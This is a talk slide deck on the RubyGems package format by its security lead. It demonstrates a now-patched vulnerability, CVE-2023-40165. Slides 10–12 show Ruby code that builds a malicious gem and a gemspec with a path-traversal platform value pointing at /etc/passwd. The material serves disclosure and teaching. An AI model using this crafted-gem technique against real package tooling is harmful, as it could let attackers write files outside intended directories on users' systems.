Slide 1

Slide 1 text

HOW TO BOIL WATER 1 — segiddins @ Rocky Mountain Ruby 2023

Slide 2

Slide 2 text

BUILDING BROKEN GEMS 2 — segiddins @ Rocky Mountain Ruby 2023

Slide 3

Slide 3 text

SAMUEL GIDDINS SECURITY LEAD, RUBYGEMS RUBY CENTRAL 3 — segiddins @ Rocky Mountain Ruby 2023

Slide 4

Slide 4 text

WHAT IS A GEM? $ gem build rails.gemspec Successfully built RubyGem Name: rails Version: 7.1.0.beta1 File: rails-7.1.0.beta1.gem 4 — segiddins @ Rocky Mountain Ruby 2023

Slide 5

Slide 5 text

WHAT IS A GEM? $ file rails-7.1.0.beta1.gem rails-7.1.0.beta1.gem: POSIX tar archive 5 — segiddins @ Rocky Mountain Ruby 2023

Slide 6

Slide 6 text

WHAT IS A GEM? $ tar --list -f rails-7.1.0.beta1.gem metadata.gz data.tar.gz checksums.yaml.gz 6 — segiddins @ Rocky Mountain Ruby 2023

Slide 7

Slide 7 text

WHAT IS A GEM? $ tar --extract \ --file rails-7.1.0.beta1.gem \ -O metadata.gz | \ gunzip --- !ruby/object:Gem::Specification name: rails version: !ruby/object:Gem::Version version: 7.1.0.beta1 platform: ruby authors: - David Heinemeier Hansson autorequire: bindir: bin cert_chain: [] date: 2023-10-06 00:00:00.000000000 Z dependencies: [...] description: "..." email: [email protected] executables: [] extensions: [] extra_rdoc_files: [] files: [MIT-LICENSE, README.md] homepage: https://rubyonrails.org licenses: [MIT] metadata: { ... } rdoc_options: [] require_paths: [lib] 7 — segiddins @ Rocky Mountain Ruby 2023

Slide 8

Slide 8 text

BUT SAMUEL... YOU SAID YOU'RE A SECURITY ENGINEER! 8 — segiddins @ Rocky Mountain Ruby 2023

Slide 9

Slide 9 text

Indeed I am. 9 — segiddins @ Rocky Mountain Ruby 2023

Slide 10

Slide 10 text

LET'S PACKAGE OUR OWN GEM #!/usr/bin/env ruby require 'rubygems' require 'rubygems/package' require 'yaml' file_name = "malicious.gem" package = Gem::Package.new file_name File.open(file_name, "wb") do |file| Gem::Package::TarWriter.new(file) do |gem| gem.add_file "metadata.gz", 0o444 do |io| package.gzip_to(io) do |gz_io| gz_io.write "---!ruby/object:Gem::Specification\n..." end end gem.add_file "data.tar.gz", 0o444 do |io| package.gzip_to io do |gz_io| Gem::Package::TarWriter.new gz_io do |data_tar| # omitted end end end end end 10 — segiddins @ Rocky Mountain Ruby 2023

Slide 11

Slide 11 text

... WITH OUT OWN GEMSPEC --- !ruby/hash-with-ivars:Gem::Specification ivars: "@name": book "@version": "1" "@new_platform": !ruby/object:Gem::Platform os: "../../../../../../../../etc/passwd" "@original_platform": ruby "@summary": "malicious" "@authors": [[email protected]] 11 — segiddins @ Rocky Mountain Ruby 2023

Slide 12

Slide 12 text

... WHICH COULD BE PRETTY BAD TO INSTALL puts YAML.unsafe_load(spec).full_name puts File.expand_path( YAML.unsafe_load(spec).full_name, Gem::Specification.gems_dir # /Users/segiddins/.gem/ruby/3.2.2/gems/ ) book-1-../../../../../../../../etc/passwd /etc/passwd 12 — segiddins @ Rocky Mountain Ruby 2023

Slide 13

Slide 13 text

... AND PUSH IT TO RUBYGEMS.ORG $ gem push malicious.gem Pushing gem to https://rubygems.org... There was a problem saving your gem: Gem platform is invalid, The original platform ruby does not resolve the platform ../../../../../../../../etc/passwd (instead it is ruby) 13 — segiddins @ Rocky Mountain Ruby 2023

Slide 14

Slide 14 text

... OH YEAH, I FIXED THIS ONE. 14 — segiddins @ Rocky Mountain Ruby 2023

Slide 15

Slide 15 text

CVE-2023-40165 https://github.com/rubygems/rubygems.org/security/advisories/ GHSA-rxcq-2m4f-94wm 15 — segiddins @ Rocky Mountain Ruby 2023

Slide 16

Slide 16 text

16 — segiddins @ Rocky Mountain Ruby 2023

Slide 17

Slide 17 text

WASN'T THAT FUN? 17 — segiddins @ Rocky Mountain Ruby 2023

Slide 18

Slide 18 text

@SEGIDDINS SUPPORT RUBY CENTRAL TO ALLOW ME TO KEEP FINDING & FIXING THESE VULNERABILITIES! 18 — segiddins @ Rocky Mountain Ruby 2023